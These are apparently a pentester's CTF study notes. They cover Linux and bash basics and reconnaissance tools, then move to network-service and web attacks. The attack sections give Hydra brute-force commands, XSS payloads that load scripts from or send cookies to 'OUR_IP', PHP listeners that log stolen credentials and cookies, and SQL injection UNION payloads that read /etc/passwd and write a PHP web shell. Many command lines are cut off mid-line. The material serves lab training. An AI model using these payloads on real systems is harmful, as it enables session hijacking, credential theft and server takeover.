CTF

Daniel Hiller

May 11, 2022

Contents

CTF

1 Introduction

1.1 Contributing

Found an error or have a suggestion? Please open an issue on GitHub (github.com/dentremor/Software-Defined-Infrastrucure):

Figure 1: QR code to source repository

1.2 License

Figure 2: AGPL-3.0 license badge

2 VM

2.1 QEMU

To create a disk image run the following command:

```
qemu-img create -f qcow2 disk.qcow2 64G
```

The VM can be executed with a bash script (remove Image.iso with the distro image of your choice):

```
#!/bin/bash

qemu-system-x86_64 -enable-kvm -m 4096 -smp $(nproc) -cpu host -device ac97 -audiodev alsa,i
```

If you also have a 4k-panel, you probably will face some scaling issues like me. In that case make sure you use `Wayland` instead of `X11`.

3 Linux

3.1 Basic Commands

Command	Description
`whoami`	Displays current username.
`wc`	print newline, word, and byte counts for each file.
`which`	Locate a command.
`id`	Returns users identity.
`hostname`	Sets or prints the name of current host system.
`uname`	Prints basic information about the operating system name and system hardware.
`pwd`	Returns working directory name.
`ifconfig`	The ifconfig utility is used to assign or to view an address to a network interface and/or configure network interface parameters.
`ip`	IP is a utility to show or manipulate routing, network devices, interfaces and tunnels.
`netstat`	Shows network status.
`ss`	Another utility to investigate sockets.
`ps`	Shows process status.
`who`	Displays who are logged in.
`env`	Prints environment or sets and executes command.

Command	Description
`lsblk`	Lists block devices.
`lsusb`	Lists USB devices.
`lsof`	Lists opened files.
`lspci`	Lists PCI devices.

3.2 FIND

`find` search for files in a directory hierarchy:

```
$ find / -type f -name *.conf -user root -size +20k -newermt 2020-03-03 -exec ls -al {} \; 2
```

```
*(-type f               = defined the type of the searched object
  -name *.conf          = indicates the name of the object we are looking for
  -user root            = filters all files from a specific user
  -size +20k            = show only files which are larger than 20KiB
  -newermt 2020-03-03   = show only files newer than the specified date
  -exec ls -al {} \;    = this option executes the specified command
  -2>/dev/null          = this redirection ensures that no errors are displayed in the termi
```

3.3 Filter Content

`less` is file pager.

`sort` sort lines of text files.

`tr` translate or delete characters.

`column` columnate lists - to display results in tabular form use the flag `-t`.

`wc` print newline, word, and byte counts for each file - `-l` prints line counter

3.3.1 Grep

`grep` print lines matching a pattern. If we want to exclude a result we must use the `-v` flag.

3.3.2 Cut

`cut` remove sections from each line of files.

```
$ cat /etc/passwd | grep -v "false\|nologin" | cut -d":" -f1
```

```
*(-d ":"     = Sets a delimiter at the character `:`
  -f1        = Selects only this field in our case the first one)
```

3.4 Locate

`locate` - find files by name

Update the database for `locate`:

```
$ sudo updatedb
```

Search for all files that end with `.conf`

```
$ locate *.conf
```

3.5 File Descriptors

1. Data Stream for Input

- STDIN - 0

2. Data Stream for Output

- STDOUT - 1

3. Data Stream for Output that relates to an error occurring.

- STDERR – 2

If we want to discard for example all errors and redirect the data into a file we can use:

```
$ find /etc/ -name shadow 2> stderr.txt 1> stdout.txt
```

4 Bash Scripting

If we want to execute a bash script we can do this by the following command:

```
$ <interpreter> script.sh <optional arguments>
```

Run a bash script with persistent permissions (`-p`):

```
$ ./bashscript -p
```

In the first line we can specify the interpreter but if we call the script with another one, the defined in the `shebang` will be ignored:

```
#!/bin/bash
```

This is also possible with other scripting languages like Python `#!/usr/bin/env python`. ### Conditional Execution

The rough basic structure is as follows:

```
if [[ -z "$string" ]]; then
  echo "String is empty"
elif [[ -n "$string" ]]; then
```

```
  echo "String is not empty"
fi
```

4.0.1 Operators

String comparison operators "`<` / `>`" **works only** within the double square brackets `[[ <condition> ]]`.

Command	Description
`[[ -z STRING ]]`	Empty string
`[[ -n STRING ]]`	Not empty string
`[[ STRING == STRING ]]`	Equal
`[[ STRING != STRING ]]`	Not Equal
`[[ NUM -eq NUM ]]`	Equal
`[[ NUM -ne NUM ]]`	Not equal
`[[ NUM -lt NUM ]]`	Less than
`[[ NUM -le NUM ]]`	Less than or equal
`[[ NUM -gt NUM ]]`	Greater than
`[[ NUM -ge NUM ]]`	Greater than or equal
`[[ -o noclobber ]]`	If OPTIONNAME is enabled
`[[ ! EXPR ]]`	Not
`[[ X && Y ]]`	And
`[[ X || Y ]]`	Or
`[[ STRING =~ STRING ]]`	Regexp
`(( NUM < NUM ))`	Numeric conditions

4.0.2 File Operators

Command	Description
`[[ -e FILE ]]`	Exists
`[[ -r FILE ]]`	Readable
`[[ -h FILE ]]`	Symlink
`[[ -d FILE ]]`	Directory
`[[ -w FILE ]]`	Writable
`[[ -s FILE ]]`	Size is > 0 bytes
`[[ -f FILE ]]`	File
`[[ -x FILE ]]`	Executable
`[[ FILE1 -nt FILE2 ]]`	1 is more recent than 2
`[[ FILE1 -ot FILE2 ]]`	2 is more recent than 1
`[[ FILE1 -ef FILE2 ]]`	Same files

4.1 Arguments

It is possible to pass up to 9 arguments (`$0`-`$9`) to a script:

```
           $ ./script.sh ARG1 ARG2 ARG3 ... ARG9
ASSIGNMENTS:       $0      $1   $2   $3 ...   $9
```

4.2 Special Variables

Command	Description
`$#`	This variable holds the number of arguments passed to the script.
`$@`	This variable can be used to retrieve the list of command-line arguments.
`$n`	Each command-line argument can be selectively retrieved using its position. For example, the first argument is found at `$1`.
`$$`	The process ID of the currently executing process.
`$?`	The exit status of the script. This variable is useful to determine a command's success. The value 0 represents successful execution, while 1 is a result of a failure.

4.3 Variables

It is important that when assigning a variable there is **no space** around the equal sign:

```
variable="test"
```

4.4 Arrays

The values in the array are separated by spaces. If we want to escape these spaces, we can use single quotes (`'...'`) or double quotes (`"..."`).

```
#!/bin/bash

domains=(www.inlanefreight.com ftp.inlanefreight.com vpn.inlanefreight.com www2.inlanefreigh

echo ${domains[0]}
```

4.5 Arithmetic

Operator	Description
`+`	Addition

Operator	Description
`-`	Subtraction
`*`	Division
`%`	Modulus
`variable++`	Increase the value of the variable by 1
`variable--`	Decrease the value of the variable by 1

We can also calculate the length of the variable. Using this function `${#variable}`, every character gets counted, and we get the total number of characters in the variable.

4.6 Input Control

Read input from the user, while the script is running:

```
read -p "Select your option: " opt
```

```
*(-p    = Ensures that our input remains on the same line
  opt   = The input will be stored in the variable opt)
```

4.7 Output Control

In some cases the scripts take longer time and the user don't have any feedback. To solve this problem we can use `tee`, which enables us to write something to a file and also returning it as standard output:

```
netrange=$(whois $ip | grep "NetRange\|CIDR" | tee -a CIDR.txt)
```

```
*(-a   = Append to the given FILEs, do not overwrite)
```

4.8 Loops

4.8.1 For Loops

The idea behind for loops is that we iterate over something, or we have a limit how often the loop should run.

Syntax - Examples

```
for $variable in 1 2 3 4
do
    echo $variable
done


for $variable in file1 file2 file3
do
    echo $variable
```

```
done


for ip in "10.10.10.170 10.10.10.174 10.10.10.175"
do
    ping -c 1 $ip
done
```

4.8.2 While Loops

The while loop will be executed as long the condition is fulfilled. There are two keywords available which gives us more control over the while loop.

- `break` → Interrupts the loop
- `continue` → Immediately continues with the next loop run

Syntax - Examples

```
#!/bin/bash

counter=0

while [ $counter -lt 10 ]
do
  # Increase $counter by 1
  ((counter++))
  echo "Counter: $counter"

  if [ $counter == 2 ]
  then
    continue
  elif [ $counter == 4 ]
  then
    break
  fi
done
```

4.8.3 Until Loops

Nevertheless, the until loop works precisely like the while loop, but with the difference:

- The code inside an until loop is executed as long as the particular condition is false

4.9 Switch case

The keyword for a switch-case-statement starts with the keyword `case`, followed by the variable or value as an expression, which is then compared in the pattern. If the variable or value matches the expression, then the statements are executed after the parenthesis and ended with a double semicolon (`;;`).

Syntax - Examples

```
read -p "Select your option: " opt

case $opt in
    "1") network_range ;;
    "2") ping_host ;;
    "3") network_range && ping_host ;;
    "*") exit 0 ;;
esac
```

4.10 Functions

The definition of a function is at the beginning of a bash script this ensures that it is already defined before it is called.

Syntax - Examples

```
# Method 1 - Functions

function name {
    <commands>
}

# Method 2 - Functions

name() {
    <commands>
}
```

The function is called only by calling the specified name of the function.

4.10.1 Parameter Passing

In principle, the same applies to the passed parameters as to parameters passed to a shell script. These are `$1 - $9` (`${n}`), or `$variable` as we have already seen. Each function has its own set of parameters. So they do not collide with those of other functions or the parameters of the shell script

Syntax - Examples

```
#!/bin/bash
```

```
function print_pars {
    echo $1 $2 $3
}

one="First parameter"
two="Second parameter"
three="Third parameter"

print_pars "$one" "$two" "$three"
```

4.10.2 Return Values

Like our bash script, the functions return status codes:

Return Code	Description
`1`	General errors
`2`	Misuse of shell builtins
`126`	Command invoked cannot execute
`127`	Command not found
`128`	Invalid argument to exit
`128+n`	Fatal error signal "`n`"
`130`	Script terminated by Control-C
`255\*`	Exit status out of range

To get the value of a function back, we can use several methods like `return`, `echo`, or a `variable`.

Syntax - Examples

```
#!/bin/bash

function given_args {

        if [ $# -lt 1 ]
        then
                echo -e "Number of arguments: $#"
                return 1
        else
                echo -e "Number of arguments: $#"
                return 0
        fi
}

# No arguments given
given_args
echo -e "Function status code: $?\n"
```

```
# One argument given
given_args "argument"
echo -e "Function status code: $?\n"

# Pass the results of the funtion into a variable
content=$(given_args "argument")

echo -e "Content of the variable: \n\t$content"
```

4.11 Debugging

Bash allows us to debug our code by using the "`-x`" (`xtrace`) and "`-v`" (`verbose`) options.

4.12 Cheat Sheet

For more information about bash scripting have a look in the following cheat sheet: devhints

5 Information Gathering

5.1 Passive Information Gathering

`whois` can be used for querying domain names, IP addresses, or autonomous systems.

5.1.1 DIG

`dig` is a DNS lookup utility.

`WaybackMachine` is an American digital library that provides free public access to digitalized materials, including websites, collected automatically via its web crawlers.

```
$ dig any google.com @8.8.8.8
```

```
*(any         = query all types of records
  @8.8.8.8    = define a dns server from which you wnat to retrieve the information)
```

5.1.2 Project Sonar

To find all available subdomains we can use `Project Sonar`:

```
$ export TARGET="facebook.com"
$ curl -s https://sonar.omnisint.io/subdomains/$TARGET | jq -r '.[]' | sort -u
```

5.1.3 Certificates

To gain more information we can search for certificates at sites like crt.sh and search.censys.io.

5.2 Active Information Gathering

`Wappalyzer` is a browser extension which finds out what technologies are used on a website.

`WAFWOOF` is a Web Application Firewall Fingerprinting Tool.

`Aquatone` is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface.

5.2.1 WhatWeb

`WhatWeb` is a Web scanner - identify technologies used by websites.

```
$ whatweb -a 1 https://www.facebook.com -v
```

```
*(-a    = Set the aggression level. 1(low) - 4(high)
  -v    = verbose)
```

5.2.2 Active Subdomain Enumeration (Zone transfer)

1. Identifying Nameservers: `shell    nslookup -type=NS <target>`
2. Testing for `ANY` and `AXFR` Zone Transfer: `shell    nslookup -type=any -query=AXFR <target> <nameserver>`

5.2.3 Gobuster - DNS

First we need to create our pattern file, which is described in Project Sonar section. Now we can export the parameters and run the `gobuster` command.

```
$ export TARGET="facebook.com"
$ export NS="d.ns.facebook.com"
$ export WORDLIST="numbers.txt"
$ gobuster dns -q -r "${NS}" -d "${TARGET}" -w "${WORDLIST}" -p ./patterns.txt -o "gobuster_
```

```
*(-q   = Don't print the banner and other noise
  -r   = Use custom DNS server
  -d   = A target domain name
  -p   = Path to the patterns file
  -w   = Path to the wordlist
  -o   = Output file)
```

6 ffuf

`ffuf` is a fest web fuzzer written in Go that allows typical directory discovery, virtual host discovery (without DNS records) and GET and POST parameter fuzzing.

6.1 Performance

To increase the speed of `ffuf` we can increase the number of threads with the `-t` flag, but it is important that we don't give `ffuf` too much power because it could lead in a `DoS`.

```
$ ffuf -w <SNIP> -u <SNIP> -t 200
```

6.2 Subdomain Fuzzing

```
$ ffuf -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.example
```

6.3 Vhost Fuzzing

```
$ ffuf -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://example.com:
```

```
*(-H 'Host: FUZZ.example.com' = Header `"Name: Value"`, separated by colon
  -fs xxx                     = filter all incorrect results)
```

6.4 Directory Fuzzing

With the `-w` flag we can pass our wordlist, with `-u` the URL we want to fuzz. To tell `ffuf` where we want to fuzz, we need to place the `FUZZ` keyword this can look like the following command:

```
$ ffuf -w SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_
```

6.5 Page Fuzzing

If we want, we can combine two keywords in one search. For that we can use `FUZZ_1.FUZZ_2`. #### Extension Fuzzing

```
$ ffuf -w SecLists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://SERVER_IP:PORT/bl
```

6.5.1 Page Fuzzing

```
$ ffuf -w SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_
```

6.6 Recursive Fuzzing

If there are several file extensions to check, we need to separate them with a '`,`'. Like this: `-e .php,.php7,.phps`.

```
$ ffuf -w SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_
```

```
*(-recursion              = scans the directory recursive
  -recursion-depth 1      = only fuzz the current directory and their direct sub-directories
  -e .php                 = specify the extension
  -v                      = output the full URLs)
```

6.7 Parameter Fuzzing

6.7.1 GET Request

```
$ ffuf -w SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.acade
```

```
*(-fs xxx   = filter all incorrect results)
```

6.7.2 POST Request

```
$ ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http:/
```

```
*(-X                            = HTTP method to use
  -d                            = POST data
  -H 'Host: FUZZ.example.com' = Header `"Name: Value"`, separated by colon
  -fs xxx                       = filter all incorrect results)
```

6.7.3 Value Fuzzing

```
$ ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ'
```

```
*(-X                            = HTTP method to use
  -d                            = POST data
  -H 'Host: FUZZ.example.com' = Header `"Name: Value"`, separated by colon
  -fs xxx                       = filter all incorrect results)
```

7 Exploiting Network Services

7.1 GitHub Repos

[SecLists] (https://github.com/danielmiessler/SecLists) PayloadsAllTheThings

7.2 SSH

Authenticate via ssh with the key-file `id_rsa`:

```
$ ssh -i id_rsa user@10.10.10.10
```

```
*(-i [file]  = Identity file)
```

7.3 NMAP

Checks open ports in defined range and check running services with `Nmap`:

```
$ nmap 10.10.221.8 -sV -p- -v
```

```
*(-p-  = Scans the whole portrange
  -v   = verbose
  -p   = Specific port or portrange
  -sV  = Attempts to determine the version of the service running on port
  -A   = Enables OS detection, version detection, script scanning and traceroute)
```

7.4 FTP

Download a File from an FTP-Server with `Wget`:

```
$ wget -m ftp://user:password@ftp.example.com
```

```
*(-m = --mirror)
```

7.4.1 Hydra

Use `Hydra` for cracking password in our example on an FTP-Service:

```
$ hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
```

```
*(-t 4      = Number of parallel connections per target
  -l [user] = Points to the user who's account you're trying to compromise
  -P [file] = Points to the file containing the list of possible passwords
  -vV       = Very verbose: shows the login+pass combination for each attempt
  [IP]      = The IP address of the target machine
  [ftp]     = Sets the protocol)
```

On PHP

```
hydra -l admin -P /usr/shared/rockyou.txt <ip> http-post-form "/login.php?username=^USER^&pa
```

```
hydra http-post-form -U # For help
```

7.5 NFS

List name or `NFS` shares:

```
$ /usr/sbin/showmount -e [IP]
```

```
*(-e    = Shows the NSF server's export list
  [IP]  = The IP Address of the NFS server)
```

Connect `NFS` share with mount point on our machine:

```
$ sudo mount -t nfs IP:share /tmp/mount/ -nolock
```

```
*(-t nfs    = Type of device to mount, then specifying that it's NFS
  IP:share  = The IP Address of the NFS server, and the name of the share we wish to mount
  -nolock   = Specifies not to use NLM locking)
```

7.6 SMTP

There are three relevant commands, when it comes to SMTP:

```
(VRFY    = Confirming the names of valid users
 EXPN    = Reveals the actual address of user's aliases and lists of e-mail (mailing lists)
 RCPT TO = Specifies the e-mail address of the recipient)
```

7.7 Metasploit

```
*(search [name]                 = Search for a module and his description
  use [name]                    = Selects a module by name
  options                       = When a module is selected we will see the options of the m
  set [option] [parameter]      = Set a specific option with a specific parameter
  run                           = Run the exploit)
```

For further information see the following documentation: offensive-security.com

7.8 Cross-Site Scripting (XSS)

Check malicious code against any input fields & HTTP-Header(i.e., when their values are displayed on the page) on a webpage.

7.8.1 XSS Discovery

7.8.1.1 Automated Discovery

Tools: 1. Nessus 2. Burp Pro 3. ZAP 4. XSS Strike 5. Brute XSS 6. XSSer

7.8.1.2 Manual Discovery

7.8.1.2.1 XSS Payload

1. PayloadsAllTheThings
2. PayloadBox

7.8.2 Defacing Elements

- Background Color `document.body.style.background`
- Background `document.body.background`
- Page Title `document.title`
- Page Text `DOM.innerHTML`

7.8.3 Phishing

7.8.3.1 Login From Injection

```
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="use
```

7.8.3.2 Cleaning Up

If there are Elements we won't have on the webpage anymore, we can remove them with the following code:

```
document.getElementById('urlform').remove();
```

7.8.3.3 Credential Stealing

```
$ mkdir /tmp/tmpserver
$ cd /tmp/tmpserver
$ vi index.php #at this step we wrote our index.php file
$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started
```

```
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>
```

7.8.4 Session Hijacking

7.8.4.1 Blind XSS Detection

A Blind XSS vulnerability occurs when the vulnerability is triggered on a page we don't have access to.

Can be found at: - Contact Forms - Reviews - User Details - Support Tickets - HTTP User-Agent header

7.8.4.2 Loading a Remote Script

Since we can't see how the website processes the output, we need to find a way to get this information. Therefor we can load remote scripts from a machine of our choice, which is under our control.

To identify the vulnerable target, we can use a suitable name for our requests. If we have an input filed which requires a username, we could generate a request for `/username`:

```
<script src="http://OUR_IP/username"></script>
```

Some more examples:

```
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.b
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("loa
<script>$.getScript("http://OUR_IP")</script>
```

Also have a look in the PayloadsAllTheThings Project.

In order to handle the requests, we need to start a listener on our machine:

```
$ mkdir /tmp/tmpserver
$ cd /tmp/tmpserver
$ vi index.php #at this step we wrote our index.php file
$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started
```

```
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>
```

7.8.4.3 Session Hijacking Now that we know where we should place our vulnerable payload and the fitting payload itself too, we first need to create a script to resolve our xss request. For example one of the following:

```
document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
```

Once done we can use our .php file from the section above again. But we need to adjust it a bit:

```
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>
```

Let's start our listener:

```
$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started
```

Now we can place our early discovered payload again, but this time we request the `/script.js`.

```
<script src=http://OUR_IP/script.js></script>
```

7.9 SQL injection

7.9.1 Types

1. In-band 1.1 Union Based 1.1 Error Based
2. Blind 2.1 Boolean Based 2.2 Time Based
3. Out-of-band

7.9.2 SQLi Discovery

Payload	URL Encoded
'	%27
"	%22
#	%23
;	%3B
)	%29

If we add one of the above payloads and observe any weird behavior from the webpage, we can assume that there is a SQL injection possible.

For example, we can now try an `OR Injection`.

```
admin' or '1'='1
```

When there is no hint for a valid username we can repeat this for the password.

For more Payloads please have a look in the PayloadsAllTheThings Project.

7.9.3 Comments

Comment	Description
--	Inline - Must contain a whitespace after the two dashes!
#	Inline - Note correct URL encoding
/**/	Inline - Unusual

7.9.4 Union Clause

If we use the union clause it is important that we ensure that the data type on the selected columns are the same.

It can appear that we query two columns from a table and want to union it with another single column. In that case, we have to add another column and fill it with junk. For example `NULL`, because it fits all data types.

```
SELECT * from products where product_id = '1' UNION SELECT username, NULL from passwords
```

7.9.5 Union Injection

To check the amount of columns we can use the `ORDER BY` or `UNION` function. If we exceed the number of columns we generate an error and therefore know the maximum number.

```
anything' UNION select 1,2,3--
```

`Dont forget the whitespace after the double dash!`

As a part of our `UNION` injection we can try to determine more information about the database.

Information	Payload
Comments	`SELECT @@version`
Current User	`SELECT user();, SELECT system_user();`
List Users	`SELECT user FROM mysql.user; - priv`
List Password Hashes	`SELECT host, user, password FROM mysql.user; - priv`

7.9.6 Enumeration

To get data with a `UNION SELECT` we need to create proper `SELECT` queries. Therefor it is essential for us to know the schema conditions. This can be realized by enumeration.

In our first step, we want to know what databases are present on the system. A matching injection could look like the following:

```
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA--
```

Now that we have an overview of the databases, let's see which one we are in.

```
cn' UNION select 1,database(),2,3--
```

An overview over the different tables could look like the following:

```
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_sche
```

The last information that we need are the name of the columns.

```
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where
```

Now that we have all the information, we can start querying data.

```
cn' UNION select 1, username, password, 4 from dev.credentials--
```

7.9.7 Reading Files

There are two ways (`UNION SELECT` or `SELECT`) to check which rights our user has.

```
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
```

```
cn' UNION SELECT 1, user(), 3, 4--
```

```
cn' UNION SELECT 1, user, 3, 4 from mysql.user--
```

7.9.7.1 User Privileges Now that we know our user, we need to know which privileges he has.

```
SELECT super_priv FROM mysql.user
```

```
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user--
```

When we have several users we can only show the privileges of the searched user.

```
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="larry"--
```

To check other privileges then the root user privilege we can use one of the following command.

```
SELECT sql_grants FROM information_schema.sql_show_grants
```

```
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges--
```

7.9.7.2 LOAD_FILE If the OS user has enough privileges we can use the `LOAD_FILE()` function to read files from the system.

```
SELECT LOAD_FILE('/etc/passwd');
```

```
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4--
```

```
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4--
```

To see the Code press `[Ctrl + U]`.

7.9.8 Writing Files

Requirements: 1. User with `FILE` privilege enabled 2. MySQL global `secure_file_priv` variable not enabled 3. Write access to the location we want to write to on the back-end server

7.9.8.1 secure_file_priv

```
SHOW VARIABLES LIKE 'secure_file_priv';
```

```
SELECT variable_name, variable_value FROM information_schema.global_variables where variable
```

```
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variable
```

7.9.8.2 SELECT INTO OUTFILE

Write output from a `SELECT` query into a file.

```
SELECT * from users INTO OUTFILE '/tmp/credentials';
```

Write any string into a file.

```
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';
```

7.9.8.3 Writing Files through SQL Injection

If we want to write a web shell we need to know the base web directory. One way to find it out is the `load_file` function which shows us Apache's configuration, this can be found at `/etc/apache2/apache2.conf`, Nginx's at `/etc/nginx/nginx.conf` and IIS at `%WinDir%\System32\Inetsrv\Config\ApplicationHost.config`. Alternatively, a fuzzing scan would still be possible with this wordlist for Linux and this wordlist for Windows.

A `UNION` injection for poof can look like this:

```
cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'--
```

7.9.8.4 Writing a Web Shell (PHP)

```
<?php system($_REQUEST[0]); ?>
```

If we use the `PHP` code from above and inject it to the server, we should have the ability to run commands. When we got to the `/shell.php` file we should be able to pass commands to the `0` parameter with `?0=id` with the URL.

```
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/she
```

7.9.9 Mitigating SQL Injection

If possible restrict valid characters, give the database user the least required permissions, use a `WAF` and parameterized queries.

7.9.9.1 PHP

Use the mysqli_real_escape_string()or the pg_escape_string() function.

7.10 MySQL

To ensure that we are working with a `MySQL` Server we can use the following commands.

Payload	When to Use	Expected Output	Wrong Output
`SELECT @@version`	When we have full query output	MySQL Version 'i.e. `10.3.22-MariaDB-1ubuntu1`'	In MSSQL it Returns MSSQL version. Error with other DBMS.
`SELECT POW(1,1)`	When we only have numeric output	`1`	Error with other DBMS
`SELECT SLEEP(5)`	Blind/No Output	Delays page response for 5 seconds and returns `0`.	Will not delay response with other DBMS

First we need a client, which is in our case `default-mysql-client`:

```
$ mysql -h [IP] -P [port] -u [username] -p
```

```
*(-h [IP]         = Connect to the MariaDB server on the given host
  -u [username]   = The MariaDB user name to use when connecting to the server
  -P [port]       = The port to use for the connection
  -p              = The password to use when connecting to the server)
```

1. `SHOW DATBASES;`
2. `USE <database>;`
3. `SHOW TABLES;`
4. `SELECT * FROM <tablename>;`

7.10.1 Cracking Credentials

If we do not have any credentials we can use `Nmap` or `Metasplot` to gain this information:

```
$ nmap --script=mysql-enum [target]
```

```
*(--script=mysql-enum           = Scan with a single script: mysql-enum
  [target]                      = The IP address of the target)
```

Now that we know some usernames of the database, we can try to crack the passwords of them with `Hydra`:

```
hydra -t 16 -l root -P /usr/share/wordlists/rockyou.txt -vV 10.10.6.199 mysql
```

```
*(-t 16     = Number of parallel connections per target
  -l [user] = Points to the user who's account you're trying to compromise
  -P [file] = Points to the file containing the list of possible passwords
  -vV       = Very verbose: shows the login+pass combination for each attempt
  [IP]      = The IP address of the target machine
  [mysql]   = Sets the protocol)
```

7.10.2 Cheat Sheets

- pentestmonkey.net ### John the Ripper If we have a hash which look something like the following example:

```
carl:*EA031893AA21444B170FC2162A56978B8CEECE18
```

We can pipe the hash in a file:

```
$ echo carl:*EA031893AA21444B170FC2162A56978B8CEECE18 > hash.txt
```

And crack the password with `John the Ripper`:

```
$ john hash.txt
$ john --show --format=RAW-MD5 hash.txt
```

```
*(--show            = show cracked passwords
  --format=<param>  = force hash type: descrypt, bsdicrypt, md5crypt, RAW-MD5, bcrypt, LM, A
```

7.11 Hashcat

```
$ hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists
```

8 Web Fundamentals

8.1 HTTP

There are several headers we can face:

Header Type	Message Type	Description
General Headers	request & response	Describes the message rather than the content
Entity Headers	request & response	Describes the content
Request Headers	request	HTTP requests are messages sent by the client to initiate an action on the server

Header Type	Message Type	Description
Response Headers	response	HTTP responses are messages sent by a server in response to a request message
Security Headers	response	These define certain policies and rules when accessing a web page, which the browser must follow

For further information please have a look at Mozilla's mdn web docs.

The most commonly used request methods are:

- `GET`
- `POST`
- `HEAD`
- `PUT`
- `DELETE`
- `OPTIONS`
- `PATCH`

8.1.1 GET Request

We can gain information about the version of the web server and the operating system with the curl flag `-I` which returns us the `http header`:

```
$ curl -I "http://${TARGET}"
```

```
*(-I  = return HTTP header)
```

If we face `HTTP authentication` we can pass our credentials with one of the following two commands:

```
$ curl -u admin:admin http://${TARGET}
$ curl  http://admin:admin@<SERVER_IP>:<PORT>/
```

```
*(-u  = pass credentials to the server)
```

`X-Powered-By header` can tell us what the web app is using. We can see values like PHP, ASP.NET, JSP, etc.

`Cookies` are another value to look at as each technology by default has its cookies. Some default cookies are:

- .NET: ASPSESSIONID=
- PHP: PHPSESSID=
- JAVA: JSESSION=

We have the ability to pass headers with our request with `-H`. This can be useful if, for example, we want to provide an authorization token.

```
$ curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://<SERVER_IP>:<PORT>/
```

```
*(-H  = pass a header)
```

If we want to repeat a request from the browser with `cURL`, we can copy (`copy -> copy as cURL`) the request as a curl command from the network tab.

It may happen that the server reflects the response to us in a JSON format. To be able to read it better, we have the possibility to improve the presentation.

```
$ curl -s http://<SERVER_IP>:<PORT>/api.php/city/le | jq
```

```
*(-s  = silent
  jq  = Command-line JSON processor)
```

8.1.2 POST Request

It mostly appears that we have to log in with a `POST` request. In this case we can use command from below.

```
$ curl -L -X POST -d 'username=admin&password=admin' http://<SERVER_IP>:<PORT>/ -i -v
```

```
*(-L  = If the server reports that the requested page  has  moved to a different location  t
  -X  = the method set with -X, --request overrides the method curl would otherwise select t
  -d  = HTTP POST data
  -i  = Include protocol response headers in the output
  -v  = verbose)
```

With a successful authentication, we should gain a cookie from the `Set-Cookie` header. For all subsequent requests we can use this cookie to authenticate us.

```
$ curl -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://<SERVER_IP>:<PORT>/
```

```
*(-b <data|filename> = Pass the data to the HTTP server in the Cookie header)
```

In some cases it can appear that we have to use a `JSON` format

```
$ curl -X POST -d '{"search":"london"}' -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' -H 'Conten
```

```
*(-X  = the method set with -X, --request overrides the method curl would otherwise select t
  -d  = HTTP POST data
  -b <data|filename> = Pass the data to the HTTP server in the Cookie header
  -H  = pass a header)
```

8.1.3 PUT Request

The `PUT` request looks very similar to the `POST` request and can be used to modify information on a source.

```
$ curl -X PUT http://<SERVER_IP>:<PORT>/api.php/city/london -d '{"city_name":"New_HTB_City",
*(-X  = the method set with -X, --request overrides the method curl would otherwise select t
  -d  = HTTP POST data
  -H  = pass a header)
```

8.1.4 DELETE Request

To delete information we can use the `DELETE` request.

```
$ curl -X DELETE http://<SERVER_IP>:<PORT>/api.php/city/New_HTB_City'
```

```
*(-X  = the method set with -X, --request overrides the method curl would otherwise select t
```

8.2 Curl

